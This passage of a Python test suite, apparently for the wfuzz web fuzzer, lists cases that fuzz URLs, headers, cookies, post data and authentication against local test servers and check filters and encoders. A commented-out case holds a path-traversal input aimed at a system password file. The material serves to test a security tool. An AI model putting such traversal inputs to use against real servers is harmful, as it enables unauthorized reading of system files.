\"test_desc_concat_fuzz_symbol_op\",\n        \"-z range,1-1 {}/FUZZ\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ --prefilter FUZZ[r.url]=+'2' FUZZ\",\n        [\"http://localhost:9000/12\"],\n        None,\n    ),\n    (\n        \"test_fuzz_symbol_code\",\n        \"-z range,1-1 {}/FUZZ\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ --slice FUZZ[c]=404 FUZZ\",\n        [\"http://localhost:9000/1\"],\n        None,\n    ),\n    (\n        \"test_fuzz_value_code\",\n        \"-z range,1-1 {}/FUZZ\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ --slice c=404 FUZZ\",\n        [\"http://localhost:9000/1\"],\n        None,\n    ),\n    # fuzz value exceptions\n    (\n        \"test_fuzz_symbol_code\",\n        \"-z range,1-1 {}/FUZZ\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ --slice FUZ1Z[c]=404 FUZZ\",\n        [\"http://localhost:9000/1\"],\n        \"Unknown field\",\n    ),\n    (\n        \"test_fuzz_symbol_code2\",\n        \"-z range,1-1 {}/FUZZ\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ --slice FUZ2Z[c]=404 FUZZ\",\n        [\"http://localhost:9000/1\"],\n        \"Non existent FUZZ payload\",\n    ),\n    (\n        \"test_desc_assign_fuzz_symbol_op\",\n        \"-z range,1-1 {}/FUZZ\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ --slice r.url:=r.url|replace('1','2') FUZZ[url]\",\n        [\"http://localhost:9000/2\"],\n        None,\n    ),\n    (\n        \"test_fuzz_param_int\",\n        \"-z range,1-1 {}/FUZZ\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ --slice r.params.get:=2 FUZZ\",\n        [\"http://localhost:9000/2\"],\n        \"Non existent FUZZ payload\",\n    ),\n    # filter based on various payloads\n    (\n        \"test_fuzz_fuz2z_code\",\n        \"-z range,1-1 {}/FUZZ\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ -z list,404-302-200 --prefilter FUZZ[code]=FUZ2Z FUZZ[url]/FUZ2Z\",\n        [\"http://localhost:9000/1 - 404\"],\n        None,\n    ),\n    (\n        \"test_fuzz_fuz2z_code2\",\n        \"-z range,1-1 {}/FUZZ\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ -z list,404-302-200 --prefilter FUZZ[code]=FUZ2Z FUZZ[url]\",\n        [\"http://localhost:9000/1\"],\n        None,\n    ),\n    (\n        \"test_fuzz_fuz2z_code3\",\n        \"-z range,1-1 {}/FUZZ\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ -z list,404-302-200 --prefilter FUZZ[code]=FUZ2Z FUZZ\",\n        [\"http://localhost:9000/1\"],\n        None,\n    ),\n    # set values various payloads\n    (\n        \"test_set_fuzz_from_fuz2z_full\",\n        \"-z range,1-1 {}/FUZZ?param=1\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ -z list,6-3 --prefilter r.params.get.param:=FUZ2Z FUZZ\",\n        [\"http://localhost:9000/1?param=6\", \"http://localhost:9000/1?param=3\"],\n        None,\n    ),\n    (\n        \"test_set_fuzz_from_fuz2z_full2\",\n        \"-z range,1-1 {}/FUZZ?param=1\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ -z list,6-3 --prefilter FUZZ[r.params.get.param]:=FUZ2Z FUZZ\",\n        [\"http://localhost:9000/1?param=6\", \"http://localhost:9000/1?param=3\"],\n        None,\n    ),\n    (\n        \"test_set_fuzz_from_fuz2z_full_all\",\n        \"-z range,1-1 {}/FUZZ?param=1&param2=2\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ -z range,6-6 --prefilter r.params.all:=FUZ2Z FUZZ\",\n        [\"http://localhost:9000/1?param=6&param2=6\"],\n        None,\n    ),\n    (\n        \"test_app_fuzz_from_fuz2z_full_all\",\n        \"-z range,1-1 {}/FUZZ?param=1&param2=2\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ -z range,6-6 --prefilter r.params.all=+FUZ2Z FUZZ\",\n        [\"http://localhost:9000/1?param=16&param2=26\"],\n        None,\n    ),\n    # fails (\"test_set_fuzz_from_fuz2z_url\", \"-z range,1-1 {}/FUZZ?param=1\".format(HTTPBIN_URL), \"-z wfuzzp,$$PREVFILE$$ -z list,6-3 --prefilter r.params.get.param:=FUZ2Z FUZZ[url]\", [\"http://localhost:9000/1?param=6\", \"http://localhost:9000/1?param=3\"], None),\n    # test different field\n    (\n        \"test_field\",\n        \"-z range,1-1 {}/FUZZ\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ --field c FUZZ\",\n        [\"404\"],\n        None,\n    ),\n]\n\nbasic_tests = [\n    # different connect host ip\n    # travis has an old pycurl version (\"test_static_strquery_set_ip\", \"http://wfuzz.org/FUZZ?var=1&var2=2\", [[\"anything\"], ['PUT', 'GET', 'DELETE']], dict(connect_to_ip={'ip': '127.0.0.1', 'port': '9000'}, method='FUZ2Z', filter=\"content~'url' and content~'http://wfuzz.org'\"), [(200, '/anything')] * 3, None),\n    # encoding tests\n    (\n        \"test_encode_cookie2_utf8_return\",\n        \"%s/anything\" % HTTPBIN_URL,\n        [[\"は国\"]],\n        dict(\n            cookie=[\"test=FUZZ\"],\n            filter=\"content~'test=\\\\\\\\u00e3\\\\\\\\u0081\\\\\\\\u00af\\\\\\\\u00e5\\\\\\\\u009b\\\\\\\\u00bd'\",\n        ),\n        [(200, \"/anything\")],\n        None,\n    ),\n    (\n        \"test_encode_header_utf8_return\",\n        \"%s/headers\" % HTTPBIN_URL,\n        [[\"は国\"]],\n        dict(\n            headers=[(\"myheader\", \"FUZZ\")],\n            filter=\"content~'Myheader' and content~'\\\\\\\\u00e3\\\\\\\\u0081\\\\\\\\u00af\\\\\\\\u00e5\\\\\\\\u009b\\\\\\\\u00bd'\",\n        ),\n        [(200, \"/headers\")],\n        None,\n    ),\n    (\n        \"test_encode_path\",\n        \"%s/FUZZ\" % HTTPBIN_URL,\n        [[\"は国\"]],\n        dict(),\n        [(404, \"/は国\")],\n        None,\n    ),\n    (\n        \"test_encode_basic_auth\",\n        \"%s/basic-auth/FUZZ/FUZZ\" % HTTPBIN_URL,\n        [[\"は国\"]],\n        dict(auth={\"method\": \"basic\", \"credentials\": \"FUZZ:FUZZ\"}),\n        [(200, \"/basic-auth/は国/は国\")],\n        None,\n    ),\n    # (\"test_encode_postdata\", \"%s/anything\" % HTTPBIN_URL, [[\"は国\"]], dict(postdata=\"a=FUZZ\", filter=\"content~'は国'\"), [(200, '/anything')], None),\n    (\n        \"test_encode_postdata\",\n        \"%s/anything\" % HTTPBIN_URL,\n        [[\"は国\"]],\n        dict(postdata=\"a=FUZZ\", filter=\"content~'\\\\\\\\u306f\\\\\\\\u56fd'\"),\n        [(200, \"/anything\")],\n        None,\n    ),\n    (\n        \"test_encode_url_filter\",\n        \"%s/FUZZ\" % HTTPBIN_URL,\n        [[\"は国\"]],\n        dict(filter=\"url~'は国'\"),\n        [(404, \"/は国\")],\n        None,\n    ),\n    # (\"test_encode_var\", \"%s/anything?var=FUZZ\" % HTTPBIN_URL, [[\"は国\"]], dict(filter=\"content~'\\\"は国\\\"'\"), [(200, '/anything')], None),\n    (\n        \"test_encode_var\",\n        \"%s/anything?var=FUZZ\" % HTTPBIN_URL,\n        [[\"は国\"]],\n        dict(filter=\"content~'\\\"\\\\\\\\u306f\\\\\\\\u56fd\\\"'\"),\n        [(200, \"/anything\")],\n        None,\n    ),\n    (\n        \"test_encode_redirect\",\n        \"%s/redirect-to?url=FUZZ\" % HTTPBIN_URL,\n        [[\"は国\"]],\n        dict(\n            filter=\"r.headers.response.Location='%C3%A3%C2%81%C2%AF%C3%A5%C2%9B%C2%BD'\"\n        ),\n        [(302, \"/redirect-to\")],\n        None,\n    ),\n    # (\"test_encode_cookie\", \"%s/cookies\" % HTTPBIN_URL, [[\"は国\"]], dict(cookie=[\"cookie1=FUZZ\"], follow=True, filter=\"content~FUZZ\"), [(200, '/cookies')], None),\n    (\n        \"test_encode_cookie\",\n        \"%s/cookies\" % HTTPBIN_URL,\n        [[\"は国\"]],\n        dict(\n            cookie=[\"cookie1=FUZZ\"], follow=True, filter=\"content~'\\\\\\\\u306f\\\\\\\\u56fd'\"\n        ),\n        [(200, \"/cookies\")],\n        None,\n    ),\n    # postdata tests\n    # pycurl does not allow it (\"test_get_postdata\", \"%s/FUZZ?var=1&var2=2\" % HTTPBIN_URL, [[\"anything\"]], dict(postdata='a=1', filter=\"content~'\\\"form\\\":{\\\"a\\\":\\\"1\\\"}'\"), [(200, '/anything')], None),\n    (\n        \"test_allmethods_postdata\",\n        \"%s/FUZZ?var=1&var2=2\" % HTTPBIN_URL,\n        [[\"anything\"], [\"PUT\", \"POST\", \"DELETE\"], [\"333888\"]],\n        dict(\n            method=\"FUZ2Z\",\n            postdata=\"a=FUZ3Z\",\n            filter='content~FUZ2Z and content~\\'\"a\": \"\\' and content~FUZ3Z',\n        ),\n        [(200, \"/anything\")] * 3,\n        None,\n    ),\n    # httpbin extra tests\n    (\n        \"test_gzip\",\n        \"%s/FUZZ\" % HTTPBIN_URL,\n        [[\"gzip\"]],\n        dict(filter=\"content~'\\\"gzipped\\\": true'\"),\n        [(200, \"/gzip\")],\n        None,\n    ),\n    (\n        \"test_response_utf8\",\n        \"%s/encoding/FUZZ\" % HTTPBIN_URL,\n        [[\"utf8\"]],\n        dict(),\n        [(200, \"/encoding/utf8\")],\n        None,\n    ),\n    (\n        \"test_image\",\n        \"%s/image/FUZZ\" % HTTPBIN_URL,\n        [[\"jpeg\"]],\n        dict(filter=\"content~'JFIF'\"),\n        [(200, \"/image/jpeg\")],\n        None,\n    ),\n    (\n        \"test_deflate\",\n        \"%s/FUZZ\" % HTTPBIN_URL,\n        [[\"deflate\"]],\n        dict(filter=\"content~'\\\"deflated\\\": true'\"),\n        [(200, \"/deflate\")],\n        None,\n    ),\n    (\n        \"test_robots_disallow\",\n        \"%s/FUZZ\" % HTTPBIN_URL,\n        [[\"robots.txt\"]],\n        dict(script=\"robots\"),\n        [(200, \"/deny\"), (200, \"/robots.txt\")],\n        None,\n    ),\n    (\n        \"test_response_base64\",\n        \"%s/base64/FUZZ\" % HTTPBIN_URL,\n        None,\n        dict(\n            filter=\"content~'HTTPBIN is awesome'\",\n            payloads=[(\"list\", dict(values=\"HTTPBIN is awesome\", encoder=[\"base64\"]))],\n        ),\n        [(200, \"/base64/SFRUUEJJTiBpcyBhd2Vzb21l\")],\n        None,\n    ),\n    # this does not work as you get the encoded value (\"test_response_base64_FUZZ\", \"%s/base64/FUZZ\" % HTTPBIN_URL, None, dict(filter=\"content~FUZZ\", payloads=[(\"list\", dict(values=\"HTTPBIN is awesome\", encoder=[\"base64\"]))]), [(200, '/base64/SFRUUEJJTiBpcyBhd2Vzb21l')], None),\n    (\n        \"test_basic_auth\",\n        \"%s/basic-auth/FUZZ/FUZZ\" % HTTPBIN_URL,\n        [[\"userpass\"]],\n        dict(auth={\"method\": \"basic\", \"credentials\": \"FUZZ:FUZZ\"}),\n        [(200, \"/basic-auth/userpass/userpass\")],\n        None,\n    ),\n    (\n        \"test_digest_auth\",\n        \"%s/digest-auth/auth/FUZZ/FUZZ\" % HTTPBIN_URL,\n        [[\"userpass\"]],\n        dict(auth={\"method\": \"digest\", \"credentials\": \"FUZZ:FUZZ\"}),\n        [(200, \"/digest-auth/auth/userpass/userpass\")],\n        None,\n    ),\n    (\n        \"test_delayed_response\",\n        \"%s/delay/FUZZ\" % HTTPBIN_URL,\n        [[\"2\"]],\n        dict(req_delay=1),\n        [(200, \"/delay/2\")],\n        \"Operation timed out\",\n    ),\n    (\n        \"test_static_strquery_set_multiple_method\",\n        \"%s/FUZZ?var=1&var2=2\" % HTTPBIN_URL,\n        [[\"anything\"], [\"PUT\", \"GET\", \"POST\", \"DELETE\"]],\n        dict(\n            method=\"FUZ2Z\",\n            filter='content~FUZ2Z and content~\\'\"var\": \"1\"\\' and content~\\'\"var2\": \"2\"\\'',\n        ),\n        [(200, \"/anything\")] * 4,\n        None,\n    ),\n    (\n        \"test_static_strquery_set_multiple_method_gre\",\n        \"%s/FUZZ?var=1&var2=2\" % HTTPBIN_URL,\n        [[\"anything\"], [\"PUT\", \"GET\", \"POST\", \"DELETE\"]],\n        dict(\n            method=\"FUZ2Z\",\n            filter='content|gre(\\'\"method\": \"(.*)?\",\\')=FUZ2Z and content~\\'\"var\": \"1\"\\' and content~\\'\"var2\": \"2\"\\'',\n        ),\n        [(200, \"/anything\")] * 4,\n        None,\n    ),\n    # set static HTTP values\n    (\n        \"test_static_strquery_set\",\n        \"%s:8000/FUZZ?var=1&var=2\" % LOCAL_DOMAIN,\n        [[\"echo\"]],\n        dict(filter=\"content=~'query=var=1&var=2$'\"),\n        [(200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_static_postdata_set\",\n        \"%s:8000/FUZZ\" % LOCAL_DOMAIN,\n        [[\"echo\"]],\n        dict(postdata=\"a=2\", filter=\"content=~'POST_DATA=a=2$'\"),\n        [(200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_static_postdata2_set\",\n        \"%s:8000/FUZZ\" % LOCAL_DOMAIN,\n        [[\"echo\"]],\n        dict(postdata=\"2\", filter=\"content=~'POST_DATA=2$'\"),\n        [(200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_empty_postdata\",\n        \"%s/FUZZ\" % HTTPBIN_URL,\n        [[\"anything\"]],\n        dict(\n            postdata=\"\",\n            filter=\"content~'POST' and content~'\\\"form\\\": {},' and r.method='POST'\",\n        ),\n        [(200, \"/anything\")],\n        None,\n    ),\n    (\n        \"test_static_postdata3_set\",\n        \"%s:8000/FUZZ\" % LOCAL_DOMAIN,\n        [[\"echo\"]],\n        dict(\n            headers=[(\"Content-Type\", \"application/json\")],\n            postdata=\"2\",\n            filter=\"content=~'POST_DATA=2$' and content=~'command=POST$' and content~'Content-Type: application/json'\",\n        ),\n        [(200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_static_postdata3_set2\",\n        \"%s:8000/FUZZ\" % LOCAL_DOMAIN,\n        [[\"echo\"]],\n        dict(\n            headers=[(\"Content-Type\", \"aaaa\")],\n            postdata=\"a=2&b=3\",\n            filter=\"(content=~'POST_DATA=a=2&b=3$' or content=~'POST_DATA=b=3&a=2$') and content=~'command=POST$' and content~'Content-Type: aaaa'\",\n        ),\n        [(200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_static_postdata3_set3\",\n        \"%s:8000/FUZZ\" % LOCAL_DOMAIN,\n        [[\"echo\"]],\n        dict(\n            headers=[(\"Content-Type\", \"application/json\")],\n            postdata='{\"a\": \"2\"}',\n            filter=\"content=~'POST_DATA={\\\"a\\\": \\\"2\\\"}$' and content=~'command=POST$' and content~'Content-Type: application/json'\",\n        ),\n        [(200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_static_method_set\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"dir\"]],\n        dict(\n            method=\"OPTIONS\",\n            filter=\"content~'Message: Unsupported method (\\\\'OPTIONS\\\\')'\",\n        ),\n        [(501, \"/dir/dir\")],\n        None,\n    ),\n    (\n        \"test_static_header_set\",\n        \"%s:8000/FUZZ\" % LOCAL_DOMAIN,\n        [[\"echo\"]],\n        dict(headers=[(\"myheader\", \"isset\")], filter=\"content~'Myheader: isset'\"),\n        [(200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_static_cookie_set\",\n        \"%s:8000/FUZZ\" % LOCAL_DOMAIN,\n        [[\"echo\"]],\n        dict(cookie=[\"cookie1=value1\"], filter=\"content~'Cookie: cookie1=value1'\"),\n        [(200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_static_basic_auth_set\",\n        \"%s:8000/FUZZ\" % LOCAL_DOMAIN,\n        [[\"echo\"]],\n        dict(\n            auth={\"method\": \"basic\", \"credentials\": \"user:pass\"},\n            filter=\"content~'Authorization: Basic dXNlcjpwYXNz'\",\n        ),\n        [(200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_static_ntlm_auth_set\",\n        \"%s:8000/FUZZ\" % LOCAL_DOMAIN,\n        [[\"echo\"]],\n        dict(\n            auth={\"method\": \"ntlm\", \"credentials\": \"user:pass\"},\n            filter=\"content~'Authorization: NTLM TlRMTVNTUAABAAAABoIIAAAAAAAAAAAAAAAAAAAAAAA='\",\n        ),\n        [(200, \"/echo\")],\n        None,\n    ),\n    # fuzzing HTTP values\n    (\n        \"test_basic_path_fuzz\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\"]],\n        dict(),\n        [(200, \"/dir/a\"), (200, \"/dir/b\"), (200, \"/dir/c\")],\n        None,\n    ),\n    (\n        \"test_multi_path_fuzz\",\n        \"%s/FUZZ/FUZ2Z/FUZ3Z\" % ECHO_URL,\n        [[\"a\"], [\"b\"], [\"c\"]],\n        dict(filter=\"content~'path=/echo/a/b/c'\"),\n        [(200, \"/echo/a/b/c\")],\n        None,\n    ),\n    (\n        \"test_basic_method_fuzz\",\n        \"%s\" % URL_LOCAL,\n        [[\"OPTIONS\", \"HEAD\"]],\n        dict(method=\"FUZZ\", filter=\"content~'Unsupported method' and content~FUZZ\"),\n        [(501, \"/dir\")],\n        None,\n    ),\n    (\n        \"test_basic_postdata_fuzz\",\n        \"%s\" % ECHO_URL,\n        [[\"onevalue\", \"twovalue\"]],\n        dict(postdata=\"a=FUZZ\", filter=\"content~FUZZ and content~'POST_DATA=a='\"),\n        [(200, \"/echo\"), (200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_basic_postdata2_fuzz\",\n        \"%s\" % ECHO_URL,\n        [[\"onevalue\", \"twovalue\"]],\n        dict(\n            postdata=\"FUZZ=1234\",\n            filter=\"content~'POST_DATA=twovalue=1234' or content~'POST_DATA=onevalue=1234'\",\n        ),\n        [(200, \"/echo\"), (200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_basic_postdata3_fuzz\",\n        \"%s\" % ECHO_URL,\n        [[\"onevalue\", \"twovalue\"]],\n        dict(\n            postdata=\"FUZZ\",\n            filter=\"content~'POST_DATA=twovalue' or content~'POST_DATA=onevalue'\",\n        ),\n        [(200, \"/echo\"), (200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_basic_header_fuzz\",\n        \"%s\" % ECHO_URL,\n        [[\"onevalue\", \"twovalue\"]],\n        dict(\n            headers=[(\"myheader\", \"FUZZ\")],\n            filter=\"content~'Myheader:' and content~FUZZ\",\n        ),\n        [(200, \"/echo\"), (200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_basic_header_name_fuzz\",\n        \"%s\" % ECHO_URL,\n        [[\"onevalue\", \"twovalue\"]],\n        dict(\n            headers=[(\"FUZZ\", \"myheadervalue\")],\n            filter=\"content~': myheadervalue' and content~FUZZ\",\n        ),\n        [(200, \"/echo\"), (200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_static_strquery_fuzz\",\n        \"%s:8000/echo?var=FUZZ\" % LOCAL_DOMAIN,\n        [[\"value1\"]],\n        dict(filter=\"content~'query=var=value1'\"),\n        [(200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_static_strquery2_fuzz\",\n        \"%s:8000/echo?FUZZ=value1\" % LOCAL_DOMAIN,\n        [[\"var\"]],\n        dict(filter=\"content~'query=var=value1'\"),\n        [(200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_basic_cookie_fuzz\",\n        \"%s/anything\" % HTTPBIN_URL,\n        [[\"cookievalue\"]],\n        dict(cookie=[\"test=FUZZ\"], filter=\"content~FUZZ\"),\n        [(200, \"/anything\")],\n        None,\n    ),\n    # url fuzzing\n    (\n        \"test_url_with_no_path\",\n        \"http://localhost:8000\",\n        [[\"GET\"]],\n        dict(method=\"FUZZ\"),\n        [(200, \"/\")],\n        None,\n    ),\n    # travis uses old pycurl version (\"test_url_not_normalized_by_lib\", \"http://localhost:8000/echo/FUZZ\", [[\"../../etc/pass\"]], dict(), [(200, '/echo/../../etc/pass')], None),\n    (\n        \"test_url_port_fuzz\",\n        \"%s:FUZZ/dir/a\" % LOCAL_DOMAIN,\n        [[\"8000\"]],\n        dict(),\n        [(200, \"/dir/a\")],\n        None,\n    ),\n    (\n        \"test_url_hostname_fuzz\",\n        \"http://FUZZ:8000/dir/a\",\n        [[\"localhost\"]],\n        dict(),\n        [(200, \"/dir/a\")],\n        None,\n    ),\n    (\n        \"test_url_hostname2_fuzz\",\n        \"http://FUZZ/dir/a\",\n        [[\"localhost:8000\"]],\n        dict(),\n        [(200, \"/dir/a\")],\n        None,\n    ),\n    (\n        \"test_url_schema_fuzz\",\n        \"FUZZ://localhost:8000/dir/a\",\n        [[\"http\"]],\n        dict(),\n        [(200, \"/dir/a\")],\n        None,\n    ),\n    (\n        \"test_url_all_url_fuzz\",\n        \"FUZZ\",\n        [[\"http://localhost:8000/dir/a\"]],\n        dict(),\n        [(200, \"/dir/a\")],\n        None,\n    ),\n    (\n        \"test_url_all_url_fuzz2\",\n        \"FUZZ\",\n        [[\"%s/anything/datastore/search_get_by_name.php?name=Rake\" % HTTPBIN_URL]],\n        dict(),\n        [(200, \"/anything/datastore/search_get_by_name.php\")],\n        None,\n    ),\n    # edge cases\n    (\n        \"test_vhost_fuzz\",\n        \"%s\" % ECHO_URL,\n        [[\"onevalue\", \"twovalue\"]],\n        dict(headers=[(\"Host\", \"FUZZ\")], filter=\"content~'Host:' and content~FUZZ\"),\n        [(200, \"/echo\"), (200, \"/echo\")],\n        None,\n    ),\n    # payload encoder tests\n    (\n        \"test_encoding\",\n        \"%s:8000/echo?var=FUZZ\" % LOCAL_DOMAIN,\n        None,\n        dict(\n            payloads=[(\"list\", dict(values=\"value1\", encoder=[\"md5\"]))],\n            filter=\"content~'path=/echo?var=9946687e5fa0dab5993ededddb398d2e'\",\n        ),\n        [(200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_nested_encoding\",\n        \"%s:8000/echo?var=FUZZ\" % LOCAL_DOMAIN,\n        None,\n        dict(\n            payloads=[(\"list\", dict(values=\"value1\", encoder=[\"none@md5\"]))],\n            filter=\"content~'path=/echo?var=9946687e5fa0dab5993ededddb398d2e'\",\n        ),\n        [(200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_cat_encoding\",\n        \"%s:8000/echo?var=FUZZ\" % LOCAL_DOMAIN,\n        None,\n        dict(\n            payloads=[(\"list\", dict(values=\"value1\", encoder=[\"default\"]))],\n            filter=\"content~'path=/echo?var=' and (content~'9946687e5fa0dab5993ededddb398d2e' or content~'value1')\",\n        ),\n        [(200, \"/echo\"), (200, \"/echo\")],\n        None,\n    ),\n    # prefilter, slice\n    (\n        \"test_prefilter\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"a\", \"a\", \"a\", \"a\", \"a\"]],\n        dict(prefilter=[\"FUZZ|u()\"], ss=\"one\"),\n        [(200, \"/dir/a\")],\n        None,\n    ),\n    (\n        \"test_slice\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        None,\n        dict(payloads=[(\"list\", dict(default=\"a-a-a-a-a\"), \"FUZZ|u()\")], ss=\"one\"),\n        [(200, \"/dir/a\")],\n        None,\n    ),\n    (\n        \"test_slice2\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        None,\n        dict(payloads=[(\"range\", dict(default=\"1-10\"), \"FUZZ='1'\")]),\n        [(404, \"/dir/1\")],\n        None,\n    ),\n    (\n        \"test_slice_rw\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        None,\n        dict(payloads=[(\"range\", dict(default=\"1-3\"), \"'1'\")]),\n        [(404, \"/dir/1\"), (404, \"/dir/1\"), (404, \"/dir/1\")],\n        None,\n    ),\n    (\n        \"test_slice_rw_int\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        None,\n        dict(payloads=[(\"range\", dict(default=\"1-3\"), \"1\")]),\n        [(404, \"/dir/1\"), (404, \"/dir/1\"), (404, \"/dir/1\")],\n        None,\n    ),\n    (\n        \"test_slice_rw_upper_int\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        None,\n        dict(payloads=[(\"range\", dict(default=\"1-3\"), \"FUZZ|upper()\")]),\n        [(404, \"/dir/1\"), (404, \"/dir/2\"), (404, \"/dir/3\")],\n        None,\n    ),\n    (\n        \"test_slice_rw_upper_int\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        None,\n        dict(payloads=[(\"range\", dict(default=\"1-3\"), \"FUZZ|upper()\")]),\n        [(404, \"/dir/1\"), (404, \"/dir/2\"), (404, \"/dir/3\")],\n        None,\n    ),\n    (\n        \"test_slice_rw_replace_int\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        None,\n        dict(payloads=[(\"range\", dict(default=\"1-3\"), \"FUZZ|replace(1,'one')\")]),\n        [(200, \"/dir/one\"), (404, \"/dir/2\"), (404, \"/dir/3\")],\n        None,\n    ),\n    (\n        \"test_slice_rw_replace_int_2\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        None,\n        dict(payloads=[(\"range\", dict(default=\"1-3\"), \"FUZZ|replace('1','one')\")]),\n        [(200, \"/dir/one\"), (404, \"/dir/2\"), (404, \"/dir/3\")],\n        None,\n    ),\n    (\n        \"test_slice_rw_replace_int_3\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        None,\n        dict(\n            payloads=[(\"list\", dict(default=\"one-two\"), \"FUZZ|replace('one','three')\")]\n        ),\n        [(404, \"/dir/two\"), (404, \"/dir/three\")],\n        None,\n    ),\n    # follow\n    (\n        \"test_follow\",\n        \"%s:8000/FUZZ\" % LOCAL_DOMAIN,\n        [[\"redirect\"]],\n        dict(follow=True, filter=\"content~'path=/echo'\"),\n        [(200, \"/echo\")],\n        None,\n    ),\n    # all params\n    (\n        \"test_all_params_get\",\n        \"%s:8000/echo?var=1&var2=2\" % LOCAL_DOMAIN,\n        [[\"avalue\"]],\n        dict(\n            allvars=\"allvars\",\n            filter=\"content~'query=var=avalue&var2=2' or content~'var=1&var2=avalue'\",\n        ),\n        [(200, \"/echo\"), (200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_all_params_post\",\n        \"%s\" % ECHO_URL,\n        [[\"onevalue\"]],\n        dict(\n            allvars=\"allpost\",\n            postdata=\"a=1&b=2\",\n            filter=\"content~'command=POST' and (content~'a=onevalue' and content~'b=2') or (content~'a=1' and content~'b=onevalue')\",\n        ),\n        [(200, \"/echo\"), (200, \"/echo\")],\n        None,\n    ),\n    # simple filter\n    (\n        \"test_codes_HC\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\"]],\n        dict(hc=[404]),\n        [(200, \"/dir/a\"), (200, \"/dir/b\"), (200, \"/dir/c\")],\n        None,\n    ),\n    (\n        \"test_codes_SC\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\"]],\n        dict(sc=[200]),\n        [(200, \"/dir/a\"), (200, \"/dir/b\"), (200, \"/dir/c\")],\n        None,\n    ),\n    (\n        \"test_codes_HL\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\"]],\n        dict(hl=[4]),\n        [(200, \"/dir/b\")],\n        None,\n    ),\n    (\n        \"test_codes_SL\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\"]],\n        dict(sl=[4]),\n        [(200, \"/dir/a\"), (200, \"/dir/c\")],\n        None,\n    ),\n    (\n        \"test_codes_HW\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\"]],\n        dict(hw=[11]),\n        [(200, \"/dir/a\"), (200, \"/dir/b\")],\n        None,\n    ),\n    (\n        \"test_codes_SW\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\"]],\n        dict(sw=[11]),\n        [(200, \"/dir/c\")],\n        None,\n    ),\n    (\n        \"test_codes_HH\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\"]],\n        dict(hh=[28]),\n        [(200, \"/dir/b\"), (200, \"/dir/c\")],\n        None,\n    ),\n    (\n        \"test_codes_SH\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\"]],\n        dict(sh=[28]),\n        [(200, \"/dir/a\")],\n        None,\n    ),\n    # combining simple filters\n    (\n        \"test_hchlhhhw\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\", \"d\", \"e\", \"f\"]],\n        dict(hc=[404], hl=[4], hh=[300]),\n        [(200, \"/dir/b\")],\n        None,\n    ),\n    (\n        \"test_shsw\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\", \"d\", \"e\", \"f\"]],\n        dict(sh=[28], sw=[6]),\n        [(200, \"/dir/a\")],\n        None,\n    ),\n    # regex filter\n    (\n        \"test_ss\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\", \"d\", \"e\", \"f\"]],\n        dict(ss=\"one\"),\n        [(200, \"/dir/a\"), (200, \"/dir/b\")],\n        None,\n    ),\n    (\n        \"test_hs\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\"]],\n        dict(hs=\"one\"),\n        [(200, \"/dir/c\")],\n        None,\n    ),\n    (\n        \"test_regex_sc\",\n        